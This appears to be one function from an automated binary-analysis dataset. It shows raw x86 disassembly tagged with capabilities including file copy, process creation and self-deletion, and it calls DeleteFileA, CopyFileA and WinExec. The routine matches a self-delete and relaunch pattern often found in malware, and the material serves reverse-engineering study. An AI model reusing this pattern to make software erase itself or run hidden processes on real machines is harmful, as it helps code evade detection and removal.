Function at 0x5aa5d8
Capabilities:
Copy file
Create process on windows
Delete file
Self delete

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x61
push 0
push 0
dec ecx
jne 0x5aa5e0
push ebx
push esi
push edi
mov esi, dword [0x634378]
mov edi, dword [0x634190]
xor eax, eax
push ebp
push 0x5aa8ba
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, dword [esi]
mov edx, dword [edi]
lea eax, [ebp - 0x1d4]
call fcn.004056f8
mov eax, dword [ebp - 0x1d4]
call fcn.005aa558
test al, al
je 0x5aa6b1
mov edx, dword [esi]
mov eax, 0x5aa8d0
call fcn.004059bc
test eax, eax
jle 0x5aa652
push esi
mov edx, dword [esi]
mov eax, 0x5aa8d0
call fcn.004059bc
mov ecx, eax
dec ecx
mov eax, dword [esi]
mov edx, 1
call fcn.004058d8
xor ebx, ebx
push dword [edi]
push dword [esi]
lea edx, [ebp - 0x1d8]
mov eax, ebx
call fcn.0040a8ec
push dword [ebp - 0x1d8]
push 0x5aa8dc
lea eax, [ebp - 4]
mov edx, 4
call fcn.00405774
mov eax, dword [ebp - 4]
call fcn.0040afe0
test al, al
jne 0x5aa654
push dword [esi]
lea edx, [ebp - 0x1dc]
mov eax, ebx
call fcn.0040a8ec
push dword [ebp - 0x1dc]
push 0x5aa8dc
mov eax, esi
mov edx, 3
call fcn.00405774
jmp 0x5aa6ff
mov ecx, dword [esi]
mov edx, dword [edi]
lea eax, [ebp - 0x1e0]
call fcn.004056f8
mov eax, dword [ebp - 0x1e0]
xor edx, edx
call fcn.0040b1dc
mov ecx, dword [esi]
mov edx, dword [edi]
lea eax, [ebp - 0x1e4]
call fcn.004056f8
mov ebx, dword [ebp - 0x1e4]
mov dword [ebp - 0x1e8], ebx
mov eax, dword [ebp - 0x1e8]
call fcn.00405870
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
push 0xffffffffffffffff
mov ecx, dword [esi]
mov edx, dword [edi]
lea eax, [ebp - 0x1ec]
call fcn.004056f8
mov eax, dword [ebp - 0x1ec]
call fcn.00405870
push eax
lea edx, [ebp - 0x1f0]
mov eax, dword [0x634154]
mov eax, dword [eax]
call fcn.0047850c
mov eax, dword [ebp - 0x1f0]
call fcn.00405870
push eax
call sub.kernel32.dll_CopyFileA
mov edx, 0x5aa8ec
lea eax, [ebp - 0x1d0]
call fcn.00403910
lea eax, [ebp - 0x1d0]
call fcn.004036a0
call fcn.00403110
mov edx, 0x5aa900
lea eax, [ebp - 0x1d0]
call fcn.00405b90
call fcn.00403e00
call fcn.00403110
push 0x5aa918
lea edx, [ebp - 0x304]
xor eax, eax
call fcn.004034ec
mov eax, dword [ebp - 0x304]
call fcn.00405870
mov edx, eax
lea eax, [ebp - 0x300]
call fcn.00403e48
lea edx, [ebp - 0x300]
lea eax, [ebp - 0x200]
call fcn.00405644
push dword [ebp - 0x200]
push 0x5aa918
lea eax, [ebp - 0x1fc]
mov edx, 3
call fcn.00405774
mov eax, dword [ebp - 0x1fc]
call fcn.00405870
mov edx, eax
lea eax, [ebp - 0x1f8]
call fcn.004055d8
mov ecx, dword [ebp - 0x1f8]
lea eax, [ebp - 0x1f4]
mov edx, 0x5aa924
call fcn.004056f8
mov edx, dword [ebp - 0x1f4]
lea eax, [ebp - 0x1d0]
call fcn.00405b90
call fcn.00403e00
call fcn.00403110
mov edx, 0x5aa934
lea eax, [ebp - 0x1d0]
call fcn.00405b90
call fcn.00403e00
call fcn.00403110
lea eax, [ebp - 0x1d0]
call fcn.004039d8
call fcn.00403110
push 0
push 0x5aa93c
call sub.kernel32.dll_WinExec
mov ecx, dword [esi]
mov edx, dword [edi]
lea eax, [ebp - 0x308]
call fcn.004056f8
mov eax, dword [ebp - 0x308]
call fcn.005aa4a0
mov eax, dword [0x634154]
mov eax, dword [eax]
call fcn.00477ea4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5aa8c1
lea eax, [ebp - 0x308]
mov edx, 2
call fcn.00405404
lea eax, [ebp - 0x200]
mov edx, 6
call fcn.00405404
lea eax, [ebp - 0x1e4]
mov edx, 5
call fcn.00405404
lea eax, [ebp - 4]
call fcn.004053e0
ret